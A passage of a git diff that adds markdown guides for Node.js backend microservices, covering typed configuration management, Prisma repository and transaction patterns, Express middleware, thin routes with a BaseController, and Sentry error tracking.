+userRoutes matches / + ↓ +SSOMiddleware authenticates + ↓ +controller.createUser called + ↓ +Validates with Zod + ↓ +userService.create called + ↓ +Checks business rules + ↓ +userRepository.create called + ↓ +Prisma creates user + ↓ +Returns up the chain + ↓ +Controller formats response + ↓ +200/201 sent to client +``` + +--- + +**Related Files:** +- [SKILL.md](SKILL.md) +- [routing-and-controllers.md](routing-and-controllers.md) +- [services-and-repositories.md](services-and-repositories.md) +- [validation-patterns.md](validation-patterns.md) diff --git a/skills/backend-dev-guidelines/resources/configuration.md b/skills/backend-dev-guidelines/resources/configuration.md new file mode 100644 index 00000000..9917a753 --- /dev/null +++ b/skills/backend-dev-guidelines/resources/configuration.md @@ -0,0 +1,275 @@ +# Configuration Management - UnifiedConfig Pattern + +Complete guide to managing configuration in backend microservices. + +## Table of Contents + +- [UnifiedConfig Overview](#unifiedconfig-overview) +- [NEVER Use process.env Directly](#never-use-processenv-directly) +- [Configuration Structure](#configuration-structure) +- [Environment-Specific Configs](#environment-specific-configs) +- [Secrets Management](#secrets-management) +- [Migration Guide](#migration-guide) + +--- + +## UnifiedConfig Overview + +### Why UnifiedConfig? + +**Problems with process.env:** +- ❌ No type safety +- ❌ No validation +- ❌ Hard to test +- ❌ Scattered throughout code +- ❌ No default values +- ❌ Runtime errors for typos + +**Benefits of unifiedConfig:** +- ✅ Type-safe configuration +- ✅ Single source of truth +- ✅ Validated at startup +- ✅ Easy to test with mocks +- ✅ Clear structure +- ✅ Fallback to environment variables + +--- + +## NEVER Use process.env Directly + +### The Rule + +```typescript +// ❌ NEVER DO THIS +const timeout = parseInt(process.env.TIMEOUT_MS || '5000'); +const dbHost = process.env.DB_HOST || 'localhost'; + +// ✅ ALWAYS DO THIS +import { config } from './config/unifiedConfig'; +const timeout = config.timeouts.default; +const dbHost = config.database.host; +``` + +### Why This Matters + +**Example of problems:** +```typescript +// Typo in environment variable name +const host = process.env.DB_HSOT; // undefined! No error! + +// Type safety +const port = process.env.PORT; // string! Need parseInt +const timeout = parseInt(process.env.TIMEOUT); // NaN if not set! +``` + +**With unifiedConfig:** +```typescript +const port = config.server.port; // number, guaranteed +const timeout = config.timeouts.default; // number, with fallback +``` + +--- + +## Configuration Structure + +### UnifiedConfig Interface + +```typescript +export interface UnifiedConfig { + database: { + host: string; + port: number; + username: string; + password: string; + database: string; + }; + server: { + port: number; + sessionSecret: string; + }; + tokens: { + jwt: string; + inactivity: string; + internal: string; + }; + keycloak: { + realm: string; + client: string; + baseUrl: string; + secret: string; + }; + aws: { + region: string; + emailQueueUrl: string; + accessKeyId: string; + secretAccessKey: string; + }; + sentry: { + dsn: string; + environment: string; + tracesSampleRate: number; + }; + // ... more sections +} +``` + +### Implementation Pattern + +**File:** `/blog-api/src/config/unifiedConfig.ts` + +```typescript +import * as fs from 'fs'; +import * as path from 'path'; +import * as ini from 'ini'; + +const configPath = path.join(__dirname, '../../config.ini'); +const iniConfig = ini.parse(fs.readFileSync(configPath, 'utf-8')); + +export const config: UnifiedConfig = { + database: { + host: iniConfig.database?.host || process.env.DB_HOST || 'localhost', + port: parseInt(iniConfig.database?.port || process.env.DB_PORT || '3306'), + username: iniConfig.database?.username || process.env.DB_USER || 'root', + password: iniConfig.database?.password || process.env.DB_PASSWORD || '', + database: iniConfig.database?.database || process.env.DB_NAME || 'blog_dev', + }, + server: { + port: parseInt(iniConfig.server?.port || process.env.PORT || '3002'), + sessionSecret: iniConfig.server?.sessionSecret || process.env.SESSION_SECRET || 'dev-secret', + }, + // ... more configuration +}; + +// Validate critical config +if (!config.tokens.jwt) { + throw new Error('JWT secret not configured!'); +} +``` + +**Key Points:** +- Read from config.ini first +- Fallback to process.env +- Default values for development +- Validation at startup +- Type-safe access + +--- + +## Environment-Specific Configs + +### config.ini Structure + +```ini +[database] +host = localhost +port = 3306 +username = root +password = password1 +database = blog_dev + +[server] +port = 3002 +sessionSecret = your-secret-here + +[tokens] +jwt = your-jwt-secret +inactivity = 30m +internal = internal-api-token + +[keycloak] +realm = myapp +client = myapp-client +baseUrl = http://localhost:8080 +secret = keycloak-client-secret + +[sentry] +dsn = https://your-sentry-dsn +environment = development +tracesSampleRate = 0.1 +``` + +### Environment Overrides + +```bash +# .env file (optional overrides) +DB_HOST=production-db.example.com +DB_PASSWORD=secure-password +PORT=80 +``` + +**Precedence:** +1. config.ini (highest priority) +2. process.env variables +3. Hard-coded defaults (lowest priority) + +--- + +## Secrets Management + +### DO NOT Commit Secrets + +```gitignore +# .gitignore +config.ini +.env +sentry.ini +*.pem +*.key +``` + +### Use Environment Variables in Production + +```typescript +// Development: config.ini +// Production: Environment variables + +export const config: UnifiedConfig = { + database: { + password: process.env.DB_PASSWORD || iniConfig.database?.password || '', + }, + tokens: { + jwt: process.env.JWT_SECRET || iniConfig.tokens?.jwt || '', + }, +}; +``` + +--- + +## Migration Guide + +### Find All process.env Usage + +```bash +grep -r "process.env" blog-api/src/ --include="*.ts" | wc -l +``` + +### Migration Example + +**Before:** +```typescript +// Scattered throughout code +const timeout = parseInt(process.env.OPENID_HTTP_TIMEOUT_MS || '15000'); +const keycloakUrl = process.env.KEYCLOAK_BASE_URL; +const jwtSecret = process.env.JWT_SECRET; +``` + +**After:** +```typescript +import { config } from './config/unifiedConfig'; + +const timeout = config.keycloak.timeout; +const keycloakUrl = config.keycloak.baseUrl; +const jwtSecret = config.tokens.jwt; +``` + +**Benefits:** +- Type-safe +- Centralized +- Easy to test +- Validated at startup + +--- + +**Related Files:** +- [SKILL.md](SKILL.md) +- [testing-guide.md](testing-guide.md) diff --git a/skills/backend-dev-guidelines/resources/database-patterns.md b/skills/backend-dev-guidelines/resources/database-patterns.md new file mode 100644 index 00000000..fbfaf195 --- /dev/null +++ b/skills/backend-dev-guidelines/resources/database-patterns.md @@ -0,0 +1,224 @@ +# Database Patterns - Prisma Best Practices + +Complete guide to database access patterns using Prisma in backend microservices. + +## Table of Contents + +- [PrismaService Usage](#prismaservice-usage) +- [Repository Pattern](#repository-pattern) +- [Transaction Patterns](#transaction-patterns) +- [Query Optimization](#query-optimization) +- [N+1 Query Prevention](#n1-query-prevention) +- [Error Handling](#error-handling) + +--- + +## PrismaService Usage + +### Basic Pattern + +```typescript +import { PrismaService } from '@project-lifecycle-portal/database'; + +// Always use PrismaService.main +const users = await PrismaService.main.user.findMany(); +``` + +### Check Availability + +```typescript +if (!PrismaService.isAvailable) { + throw new Error('Prisma client not initialized'); +} + +const user = await PrismaService.main.user.findUnique({ where: { id } }); +``` + +--- + +## Repository Pattern + +### Why Use Repositories + +✅ **Use repositories when:** +- Complex queries with joins/includes +- Query used in multiple places +- Need caching layer +- Want to mock for testing + +❌ **Skip repositories for:** +- Simple one-off queries +- Prototyping (can refactor later) + +### Repository Template + +```typescript +export class UserRepository { + async findById(id: string): Promise { + return PrismaService.main.user.findUnique({ + where: { id }, + include: { profile: true }, + }); + } + + async findActive(): Promise { + return PrismaService.main.user.findMany({ + where: { isActive: true }, + orderBy: { createdAt: 'desc' }, + }); + } + + async create(data: Prisma.UserCreateInput): Promise { + return PrismaService.main.user.create({ data }); + } +} +``` + +--- + +## Transaction Patterns + +### Simple Transaction + +```typescript +const result = await PrismaService.main.$transaction(async (tx) => { + const user = await tx.user.create({ data: userData }); + const profile = await tx.userProfile.create({ data: { userId: user.id } }); + return { user, profile }; +}); +``` + +### Interactive Transaction + +```typescript +const result = await PrismaService.main.$transaction( + async (tx) => { + const user = await tx.user.findUnique({ where: { id } }); + if (!user) throw new Error('User not found'); + + return await tx.user.update({ + where: { id }, + data: { lastLogin: new Date() }, + }); + }, + { + maxWait: 5000, + timeout: 10000, + } +); +``` + +--- + +## Query Optimization + +### Use select to Limit Fields + +```typescript +// ❌ Fetches all fields +const users = await PrismaService.main.user.findMany(); + +// ✅ Only fetch needed fields +const users = await PrismaService.main.user.findMany({ + select: { + id: true, + email: true, + profile: { select: { firstName: true, lastName: true } }, + }, +}); +``` + +### Use include Carefully + +```typescript +// ❌ Excessive includes +const user = await PrismaService.main.user.findUnique({ + where: { id }, + include: { + profile: true, + posts: { include: { comments: true } }, + workflows: { include: { steps: { include: { actions: true } } } }, + }, +}); + +// ✅ Only include what you need +const user = await PrismaService.main.user.findUnique({ + where: { id }, + include: { profile: true }, +}); +``` + +--- + +## N+1 Query Prevention + +### Problem: N+1 Queries + +```typescript +// ❌ N+1 Query Problem +const users = await PrismaService.main.user.findMany(); // 1 query + +for (const user of users) { + // N queries (one per user) + const profile = await PrismaService.main.userProfile.findUnique({ + where: { userId: user.id }, + }); +} +``` + +### Solution: Use include or Batching + +```typescript +// ✅ Single query with include +const users = await PrismaService.main.user.findMany({ + include: { profile: true }, +}); + +// ✅ Or batch query +const userIds = users.map(u => u.id); +const profiles = await PrismaService.main.userProfile.findMany({ + where: { userId: { in: userIds } }, +}); +``` + +--- + +## Error Handling + +### Prisma Error Types + +```typescript +import { Prisma } from '@prisma/client'; + +try { + await PrismaService.main.user.create({ data }); +} catch (error) { + if (error instanceof Prisma.PrismaClientKnownRequestError) { + // Unique constraint violation + if (error.code === 'P2002') { + throw new ConflictError('Email already exists'); + } + + // Foreign key constraint + if (error.code === 'P2003') { + throw new ValidationError('Invalid reference'); + } + + // Record not found + if (error.code === 'P2025') { + throw new NotFoundError('Record not found'); + } + } + + // Unknown error + Sentry.captureException(error); + throw error; +} +``` + +--- + +**Related Files:** +- [SKILL.md](SKILL.md) +- [services-and-repositories.md](services-and-repositories.md) +- [async-and-errors.md](async-and-errors.md) diff --git a/skills/backend-dev-guidelines/resources/middleware-guide.md b/skills/backend-dev-guidelines/resources/middleware-guide.md new file mode 100644 index 00000000..d3423b65 --- /dev/null +++ b/skills/backend-dev-guidelines/resources/middleware-guide.md @@ -0,0 +1,213 @@ +# Middleware Guide - Express Middleware Patterns + +Complete guide to creating and using middleware in backend microservices. + +## Table of Contents + +- [Authentication Middleware](#authentication-middleware) +- [Audit Middleware with AsyncLocalStorage](#audit-middleware-with-asynclocalstorage) +- [Error Boundary Middleware](#error-boundary-middleware) +- [Validation Middleware](#validation-middleware) +- [Composable Middleware](#composable-middleware) +- [Middleware Ordering](#middleware-ordering) + +--- + +## Authentication Middleware + +### SSOMiddleware Pattern + +**File:** `/form/src/middleware/SSOMiddleware.ts` + +```typescript +export class SSOMiddlewareClient { + static verifyLoginStatus(req: Request, res: Response, next: NextFunction): void { + const token = req.cookies.refresh_token; + + if (!token) { + return res.status(401).json({ error: 'Not authenticated' }); + } + + try { + const decoded = jwt.verify(token, config.tokens.jwt); + res.locals.claims = decoded; + res.locals.effectiveUserId = decoded.sub; + next(); + } catch (error) { + res.status(401).json({ error: 'Invalid token' }); + } + } +} +``` + +--- + +## Audit Middleware with AsyncLocalStorage + +### Excellent Pattern from Blog API + +**File:** `/form/src/middleware/auditMiddleware.ts` + +```typescript +import { AsyncLocalStorage } from 'async_hooks'; + +export interface AuditContext { + userId: string; + userName?: string; + impersonatedBy?: string; + sessionId?: string; + timestamp: Date; + requestId: string; +} + +export const auditContextStorage = new AsyncLocalStorage(); + +export function auditMiddleware(req: Request, res: Response, next: NextFunction): void { + const context: AuditContext = { + userId: res.locals.effectiveUserId || 'anonymous', + userName: res.locals.claims?.preferred_username, + impersonatedBy: res.locals.isImpersonating ? res.locals.originalUserId : undefined, + timestamp: new Date(), + requestId: req.id || uuidv4(), + }; + + auditContextStorage.run(context, () => { + next(); + }); +} + +// Getter for current context +export function getAuditContext(): AuditContext | null { + return auditContextStorage.getStore() || null; +} +``` + +**Benefits:** +- Context propagates through entire request +- No need to pass context through every function +- Automatically available in services, repositories +- Type-safe context access + +**Usage in Services:** +```typescript +import { getAuditContext } from '../middleware/auditMiddleware'; + +async function someOperation() { + const context = getAuditContext(); + console.log('Operation by:', context?.userId); +} +``` + +--- + +## Error Boundary Middleware + +### Comprehensive Error Handler + +**File:** `/form/src/middleware/errorBoundary.ts` + +```typescript +export function errorBoundary( + error: Error, + req: Request, + res: Response, + next: NextFunction +): void { + // Determine status code + const statusCode = getStatusCodeForError(error); + + // Capture to Sentry + Sentry.withScope((scope) => { + scope.setLevel(statusCode >= 500 ? 'error' : 'warning'); + scope.setTag('error_type', error.name); + scope.setContext('error_details', { + message: error.message, + stack: error.stack, + }); + Sentry.captureException(error); + }); + + // User-friendly response + res.status(statusCode).json({ + success: false, + error: { + message: getUserFriendlyMessage(error), + code: error.name, + }, + requestId: Sentry.getCurrentScope().getPropagationContext().traceId, + }); +} + +// Async wrapper +export function asyncErrorWrapper( + handler: (req: Request, res: Response, next: NextFunction) => Promise +) { + return async (req: Request, res: Response, next: NextFunction) => { + try { + await handler(req, res, next); + } catch (error) { + next(error); + } + }; +} +``` + +--- + +## Composable Middleware + +### withAuthAndAudit Pattern + +```typescript +export function withAuthAndAudit(...authMiddleware: any[]) { + return [ + ...authMiddleware, + auditMiddleware, + ]; +} + +// Usage +router.post('/:formID/submit', + ...withAuthAndAudit(SSOMiddlewareClient.verifyLoginStatus), + async (req, res) => controller.submit(req, res) +); +``` + +--- + +## Middleware Ordering + +### Critical Order (Must Follow) + +```typescript +// 1. Sentry request handler (FIRST) +app.use(Sentry.Handlers.requestHandler()); + +// 2. Body parsing +app.use(express.json()); +app.use(express.urlencoded({ extended: true })); + +// 3. Cookie parsing +app.use(cookieParser()); + +// 4. Auth initialization +app.use(SSOMiddleware.initialize()); + +// 5. Routes registered here +app.use('/api/users', userRoutes); + +// 6. Error handler (AFTER routes) +app.use(errorBoundary); + +// 7. Sentry error handler (LAST) +app.use(Sentry.Handlers.errorHandler()); +``` + +**Rule:** Error handlers MUST be registered AFTER all routes! + +--- + +**Related Files:** +- [SKILL.md](SKILL.md) +- [routing-and-controllers.md](routing-and-controllers.md) +- [async-and-errors.md](async-and-errors.md) diff --git a/skills/backend-dev-guidelines/resources/routing-and-controllers.md b/skills/backend-dev-guidelines/resources/routing-and-controllers.md new file mode 100644 index 00000000..a28296be --- /dev/null +++ b/skills/backend-dev-guidelines/resources/routing-and-controllers.md @@ -0,0 +1,756 @@ +# Routing and Controllers - Best Practices + +Complete guide to clean route definitions and controller patterns. + +## Table of Contents + +- [Routes: Routing Only](#routes-routing-only) +- [BaseController Pattern](#basecontroller-pattern) +- [Good Examples](#good-examples) +- [Anti-Patterns](#anti-patterns) +- [Refactoring Guide](#refactoring-guide) +- [Error Handling](#error-handling) +- [HTTP Status Codes](#http-status-codes) + +--- + +## Routes: Routing Only + +### The Golden Rule + +**Routes should ONLY:** +- ✅ Define route paths +- ✅ Register middleware +- ✅ Delegate to controllers + +**Routes should NEVER:** +- ❌ Contain business logic +- ❌ Access database directly +- ❌ Implement validation logic (use Zod + controller) +- ❌ Format complex responses +- ❌ Handle complex error scenarios + +### Clean Route Pattern + +```typescript +// routes/userRoutes.ts +import { Router } from 'express'; +import { UserController } from '../controllers/UserController'; +import { SSOMiddlewareClient } from '../middleware/SSOMiddleware'; +import { auditMiddleware } from '../middleware/auditMiddleware'; + +const router = Router(); +const controller = new UserController(); + +// ✅ CLEAN: Route definition only +router.get('/:id', + SSOMiddlewareClient.verifyLoginStatus, + auditMiddleware, + async (req, res) => controller.getUser(req, res) +); + +router.post('/', + SSOMiddlewareClient.verifyLoginStatus, + auditMiddleware, + async (req, res) => controller.createUser(req, res) +); + +router.put('/:id', + SSOMiddlewareClient.verifyLoginStatus, + auditMiddleware, + async (req, res) => controller.updateUser(req, res) +); + +export default router; +``` + +**Key Points:** +- Each route: method, path, middleware chain, controller delegation +- No try-catch needed (controller handles errors) +- Clean, readable, maintainable +- Easy to see all endpoints at a glance + +--- + +## BaseController Pattern + +### Why BaseController? + +**Benefits:** +- Consistent error handling across all controllers +- Automatic Sentry integration +- Standardized response formats +- Reusable helper methods +- Performance tracking utilities +- Logging and breadcrumb helpers + +### BaseController Pattern (Template) + +**File:** `/email/src/controllers/BaseController.ts` + +```typescript +import * as Sentry from '@sentry/node'; +import { Response } from 'express'; + +export abstract class BaseController { + /** + * Handle errors with Sentry integration + */ + protected handleError( + error: unknown, + res: Response, + context: string, + statusCode = 500 + ): void { + Sentry.withScope((scope) => { + scope.setTag('controller', this.constructor.name); + scope.setTag('operation', context); + scope.setUser({ id: res.locals?.claims?.userId }); + + if (error instanceof Error) { + scope.setContext('error_details', { + message: error.message, + stack: error.stack, + }); + } + + Sentry.captureException(error); + }); + + res.status(statusCode).json({ + success: false, + error: { + message: error instanceof Error ? error.message : 'An error occurred', + code: statusCode, + }, + }); + } + + /** + * Handle success responses + */ + protected handleSuccess( + res: Response, + data: T, + message?: string, + statusCode = 200 + ): void { + res.status(statusCode).json({ + success: true, + message, + data, + }); + } + + /** + * Performance tracking wrapper + */ + protected async withTransaction( + name: string, + operation: string, + callback: () => Promise + ): Promise { + return await Sentry.startSpan( + { name, op: operation }, + callback + ); + } + + /** + * Validate required fields + */ + protected validateRequest( + required: string[], + actual: Record, + res: Response + ): boolean { + const missing = required.filter((field) => !actual[field]); + + if (missing.length > 0) { + Sentry.captureMessage( + `Missing required fields: ${missing.join(', ')}`, + 'warning' + ); + + res.status(400).json({ + success: false, + error: { + message: 'Missing required fields', + code: 'VALIDATION_ERROR', + details: { missing }, + }, + }); + return false; + } + return true; + } + + /** + * Logging helpers + */ + protected logInfo(message: string, context?: Record): void { + Sentry.addBreadcrumb({ + category: this.constructor.name, + message, + level: 'info', + data: context, + }); + } + + protected logWarning(message: string, context?: Record): void { + Sentry.captureMessage(message, { + level: 'warning', + tags: { controller: this.constructor.name }, + extra: context, + }); + } + + /** + * Add Sentry breadcrumb + */ + protected addBreadcrumb( + message: string, + category: string, + data?: Record + ): void { + Sentry.addBreadcrumb({ message, category, level: 'info', data }); + } + + /** + * Capture custom metric + */ + protected captureMetric(name: string, value: number, unit: string): void { + Sentry.metrics.gauge(name, value, { unit }); + } +} +``` + +### Using BaseController + +```typescript +// controllers/UserController.ts +import { Request, Response } from 'express'; +import { BaseController } from './BaseController'; +import { UserService } from '../services/userService'; +import { createUserSchema } from '../validators/userSchemas'; + +export class UserController extends BaseController { + private userService: UserService; + + constructor() { + super(); + this.userService = new UserService(); + } + + async getUser(req: Request, res: Response): Promise { + try { + this.addBreadcrumb('Fetching user', 'user_controller', { userId: req.params.id }); + + const user = await this.userService.findById(req.params.id); + + if (!user) { + return this.handleError( + new Error('User not found'), + res, + 'getUser', + 404 + ); + } + + this.handleSuccess(res, user); + } catch (error) { + this.handleError(error, res, 'getUser'); + } + } + + async createUser(req: Request, res: Response): Promise { + try { + // Validate input + const validated = createUserSchema.parse(req.body); + + // Track performance + const user = await this.withTransaction( + 'user.create', + 'db.query', + () => this.userService.create(validated) + ); + + this.handleSuccess(res, user, 'User created successfully', 201); + } catch (error) { + this.handleError(error, res, 'createUser'); + } + } + + async updateUser(req: Request, res: Response): Promise { + try { + const validated = updateUserSchema.parse(req.body); + const user = await this.userService.update(req.params.id, validated); + this.handleSuccess(res, user, 'User updated'); + } catch (error) { + this.handleError(error, res, 'updateUser'); + } + } +} +``` + +**Benefits:** +- Consistent error handling +- Automatic Sentry integration +- Performance tracking +- Clean, readable code +- Easy to test + +--- + +## Good Examples + +### Example 1: Email Notification Routes (Excellent ✅) + +**File:** `/email/src/routes/notificationRoutes.ts` + +```typescript +import { Router } from 'express'; +import { NotificationController } from '../controllers/NotificationController'; +import { SSOMiddlewareClient } from '../middleware/SSOMiddleware'; + +const router = Router(); +const controller = new NotificationController(); + +// ✅ EXCELLENT: Clean delegation +router.get('/', + SSOMiddlewareClient.verifyLoginStatus, + async (req, res) => controller.getNotifications(req, res) +); + +router.post('/', + SSOMiddlewareClient.verifyLoginStatus, + async (req, res) => controller.createNotification(req, res) +); + +router.put('/:id/read', + SSOMiddlewareClient.verifyLoginStatus, + async (req, res) => controller.markAsRead(req, res) +); + +export default router; +``` + +**What Makes This Excellent:** +- Zero business logic in routes +- Clear middleware chain +- Consistent pattern +- Easy to understand + +### Example 2: Proxy Routes with Validation (Good ✅) + +**File:** `/form/src/routes/proxyRoutes.ts` + +```typescript +import { z } from 'zod'; + +const createProxySchema = z.object({ + originalUserID: z.string().min(1), + proxyUserID: z.string().min(1), + startsAt: z.string().datetime(), + expiresAt: z.string().datetime(), +}); + +router.post('/', + SSOMiddlewareClient.verifyLoginStatus, + async (req, res) => { + try { + const validated = createProxySchema.parse(req.body); + const proxy = await proxyService.createProxyRelationship(validated); + res.status(201).json({ success: true, data: proxy }); + } catch (error) { + handler.handleException(res, error); + } + } +); +``` + +**What Makes This Good:** +- Zod validation +- Delegates to service +- Proper HTTP status codes +- Error handling + +**Could Be Better:** +- Move validation to controller +- Use BaseController + +--- + +## Anti-Patterns + +### Anti-Pattern 1: Business Logic in Routes (Bad ❌) + +**File:** `/form/src/routes/responseRoutes.ts` (actual production code) + +```typescript +// ❌ ANTI-PATTERN: 200+ lines of business logic in route +router.post('/:formID/submit', async (req: Request, res: Response) => { + try { + const username = res.locals.claims.preferred_username; + const responses = req.body.responses; + const stepInstanceId = req.body.stepInstanceId; + + // ❌ Permission checking in route + const userId = await userProfileService.getProfileByEmail(username).then(p => p.id); + const canComplete = await permissionService.canCompleteStep(userId, stepInstanceId); + if (!canComplete) { + return res.status(403).json({ error: 'No permission' }); + } + + // ❌ Workflow logic in route + const { createWorkflowEngine, CompleteStepCommand } = require('../workflow/core/WorkflowEngineV3'); + const engine = await createWorkflowEngine(); + const command = new CompleteStepCommand( + stepInstanceId, + userId, + responses, + additionalContext + ); + const events = await engine.executeCommand(command); + + // ❌ Impersonation handling in route + if (res.locals.isImpersonating) { + impersonationContextStore.storeContext(stepInstanceId, { + originalUserId: res.locals.originalUserId, + effectiveUserId: userId, + }); + } + + // ❌ Response processing in route + const post = await PrismaService.main.post.findUnique({ + where: { id: postData.id }, + include: { comments: true }, + }); + + // ❌ Permission check in route + await checkPostPermissions(post, userId); + + // ... 100+ more lines of business logic + + res.json({ success: true, data: result }); + } catch (e) { + handler.handleException(res, e); + } +}); +``` + +**Why This Is Terrible:** +- 200+ lines of business logic +- Hard to test (requires HTTP mocking) +- Hard to reuse (tied to route) +- Mixed responsibilities +- Difficult to debug +- Performance tracking difficult + +### How to Refactor (Step-by-Step) + +**Step 1: Create Controller** + +```typescript +// controllers/PostController.ts +export class PostController extends BaseController { + private postService: PostService; + + constructor() { + super(); + this.postService = new PostService(); + } + + async createPost(req: Request, res: Response): Promise { + try { + const validated = createPostSchema.parse({ + ...req.body, + }); + + const result = await this.postService.createPost( + validated, + res.locals.userId + ); + + this.handleSuccess(res, result, 'Post created successfully'); + } catch (error) { + this.handleError(error, res, 'createPost'); + } + } +} +``` + +**Step 2: Create Service** + +```typescript +// services/postService.ts +export class PostService { + async createPost( + data: CreatePostDTO, + userId: string + ): Promise { + // Permission check + const canCreate = await permissionService.canCreatePost(userId); + if (!canCreate) { + throw new ForbiddenError('No permission to create post'); + } + + // Execute workflow + const engine = await createWorkflowEngine(); + const command = new CompleteStepCommand(/* ... */); + const events = await engine.executeCommand(command); + + // Handle impersonation if needed + if (context.isImpersonating) { + await this.handleImpersonation(data.stepInstanceId, context); + } + + // Synchronize roles + await this.synchronizeRoles(events, userId); + + return { events, success: true }; + } + + private async handleImpersonation(stepInstanceId: number, context: any) { + impersonationContextStore.storeContext(stepInstanceId, { + originalUserId: context.originalUserId, + effectiveUserId: context.effectiveUserId, + }); + } + + private async synchronizeRoles(events: WorkflowEvent[], userId: string) { + // Role synchronization logic + } +} +``` + +**Step 3: Update Route** + +```typescript +// routes/postRoutes.ts +import { PostController } from '../controllers/PostController'; + +const router = Router(); +const controller = new PostController(); + +// ✅ CLEAN: Just routing +router.post('/', + SSOMiddlewareClient.verifyLoginStatus, + auditMiddleware, + async (req, res) => controller.createPost(req, res) +); +``` + +**Result:** +- Route: 8 lines (was 200+) +- Controller: 25 lines (request handling) +- Service: 50 lines (business logic) +- Testable, reusable, maintainable! + +--- + +## Error Handling + +### Controller Error Handling + +```typescript +async createUser(req: Request, res: Response): Promise { + try { + const result = await this.userService.create(req.body); + this.handleSuccess(res, result, 'User created', 201); + } catch (error) { + // BaseController.handleError automatically: + // - Captures to Sentry with context + // - Sets appropriate status code + // - Returns formatted error response + this.handleError(error, res, 'createUser'); + } +} +``` + +### Custom Error Status Codes + +```typescript +async getUser(req: Request, res: Response): Promise { + try { + const user = await this.userService.findById(req.params.id); + + if (!user) { + // Custom 404 status + return this.handleError( + new Error('User not found'), + res, + 'getUser', + 404 // Custom status code + ); + } + + this.handleSuccess(res, user); + } catch (error) { + this.handleError(error, res, 'getUser'); + } +} +``` + +### Validation Errors + +```typescript +async createUser(req: Request, res: Response): Promise { + try { + const validated = createUserSchema.parse(req.body); + const user = await this.userService.create(validated); + this.handleSuccess(res, user, 'User created', 201); + } catch (error) { + // Zod errors get 400 status + if (error instanceof z.ZodError) { + return this.handleError(error, res, 'createUser', 400); + } + this.handleError(error, res, 'createUser'); + } +} +``` + +--- + +## HTTP Status Codes + +### Standard Codes + +| Code | Use Case | Example | +|------|----------|---------| +| 200 | Success (GET, PUT) | User retrieved, Updated | +| 201 | Created (POST) | User created | +| 204 | No Content (DELETE) | User deleted | +| 400 | Bad Request | Invalid input data | +| 401 | Unauthorized | Not authenticated | +| 403 | Forbidden | No permission | +| 404 | Not Found | Resource doesn't exist | +| 409 | Conflict | Duplicate resource | +| 422 | Unprocessable Entity | Validation failed | +| 500 | Internal Server Error | Unexpected error | + +### Usage Examples + +```typescript +// 200 - Success (default) +this.handleSuccess(res, user); + +// 201 - Created +this.handleSuccess(res, user, 'Created', 201); + +// 400 - Bad Request +this.handleError(error, res, 'operation', 400); + +// 404 - Not Found +this.handleError(new Error('Not found'), res, 'operation', 404); + +// 403 - Forbidden +this.handleError(new ForbiddenError('No permission'), res, 'operation', 403); +``` + +--- + +## Refactoring Guide + +### Identify Routes Needing Refactoring + +**Red Flags:** +- Route file > 100 lines +- Multiple try-catch blocks in one route +- Direct database access (Prisma calls) +- Complex business logic (if statements, loops) +- Permission checks in routes + +**Check your routes:** +```bash +# Find large route files +wc -l form/src/routes/*.ts | sort -n + +# Find routes with Prisma usage +grep -r "PrismaService" form/src/routes/ +``` + +### Refactoring Process + +**1. Extract to Controller:** +```typescript +// Before: Route with logic +router.post('/action', async (req, res) => { + try { + // 50 lines of logic + } catch (e) { + handler.handleException(res, e); + } +}); + +// After: Clean route +router.post('/action', (req, res) => controller.performAction(req, res)); + +// New controller method +async performAction(req: Request, res: Response): Promise { + try { + const result = await this.service.performAction(req.body); + this.handleSuccess(res, result); + } catch (error) { + this.handleError(error, res, 'performAction'); + } +} +``` + +**2. Extract to Service:** +```typescript +// Controller stays thin +async performAction(req: Request, res: Response): Promise { + try { + const validated = actionSchema.parse(req.body); + const result = await this.actionService.execute(validated); + this.handleSuccess(res, result); + } catch (error) { + this.handleError(error, res, 'performAction'); + } +} + +// Service contains business logic +export class ActionService { + async execute(data: ActionDTO): Promise { + // All business logic here + // Permission checks + // Database operations + // Complex transformations + return result; + } +} +``` + +**3. Add Repository (if needed):** +```typescript +// Service calls repository +export class ActionService { + constructor(private actionRepository: ActionRepository) {} + + async execute(data: ActionDTO): Promise { + // Business logic + const entity = await this.actionRepository.findById(data.id); + // More logic + return await this.actionRepository.update(data.id, changes); + } +} + +// Repository handles data access +export class ActionRepository { + async findById(id: number): Promise { + return PrismaService.main.entity.findUnique({ where: { id } }); + } + + async update(id: number, data: Partial): Promise { + return PrismaService.main.entity.update({ where: { id }, data }); + } +} +``` + +--- + +**Related Files:** +- [SKILL.md](SKILL.md) - Main guide +- [services-and-repositories.md](services-and-repositories.md) - Service layer details +- [complete-examples.md](complete-examples.md) - Full refactoring examples diff --git a/skills/backend-dev-guidelines/resources/sentry-and-monitoring.md b/skills/backend-dev-guidelines/resources/sentry-and-monitoring.md new file mode 100644 index 00000000..015998ae --- /dev/null +++ b/skills/backend-dev-guidelines/resources/sentry-and-monitoring.md @@ -0,0 +1,336 @@ +# Sentry Integration and Monitoring + +Complete guide to error tracking and performance monitoring with Sentry v8. + +## Table of Contents + +- [Core Principles](#core-principles) +- [Sentry Initialization](#sentry-initialization) +- [Error Capture Patterns](#error-capture-patterns) +- [Performance Monitoring](#performance-monitoring) +- [Cron Job Monitoring](#cron-job-monitoring) +- [Error Context Best Practices](#error-context-best-practices) +- [Common Mistakes](#common-mistakes) + +--- + +## Core Principles + +**MANDATORY**: All errors MUST be captured to Sentry. No exceptions. + +**ALL ERRORS MUST BE CAPTURED** - Use Sentry v8 with comprehensive error tracking across all services. + +--- + +## Sentry Initialization + +### instrument.ts Pattern + +**Location:** `src/instrument.ts` (MUST be first import in server.ts and all cron jobs) + +**Template for Microservices:** + +```typescript +import * as Sentry from '@sentry/node'; +import * as fs from 'fs'; +import * as path from 'path'; +import * as ini from 'ini'; + +const sentryConfigPath = path.join(__dirname, '../sentry.ini'); +const sentryConfig = ini.parse(fs.readFileSync(sentryConfigPath, 'utf-8')); + +Sentry.init({ + dsn: sentryConfig.sentry?.dsn, + environment: process.env.NODE_ENV || 'development', + tracesSampleRate: parseFloat(sentryConfig.sentry?.tracesSampleRate || '0.1'), + profilesSampleRate: parseFloat(sentryConfig.sentry?.profilesSampleRate || '0.1'), + + integrations: [ + ...Sentry.getDefaultIntegrations({}), + Sentry.extraErrorDataIntegration({ depth: 5 }), + Sentry.localVariablesIntegration(), + Sentry.requestDataIntegration({ + include: { + cookies: false, + data: true, + headers: true, + ip: true, + query_string: true, + url: true, + user: { id: true, email: true, username: true }, + }, + }), + Sentry.consoleIntegration(), + Sentry.contextLinesIntegration(), + Sentry.prismaIntegration(), + ], + + beforeSend(event, hint) { + // Filter health checks + if (event.request?.url?.includes('/healthcheck')) { + return null; + } + + // Scrub sensitive headers + if 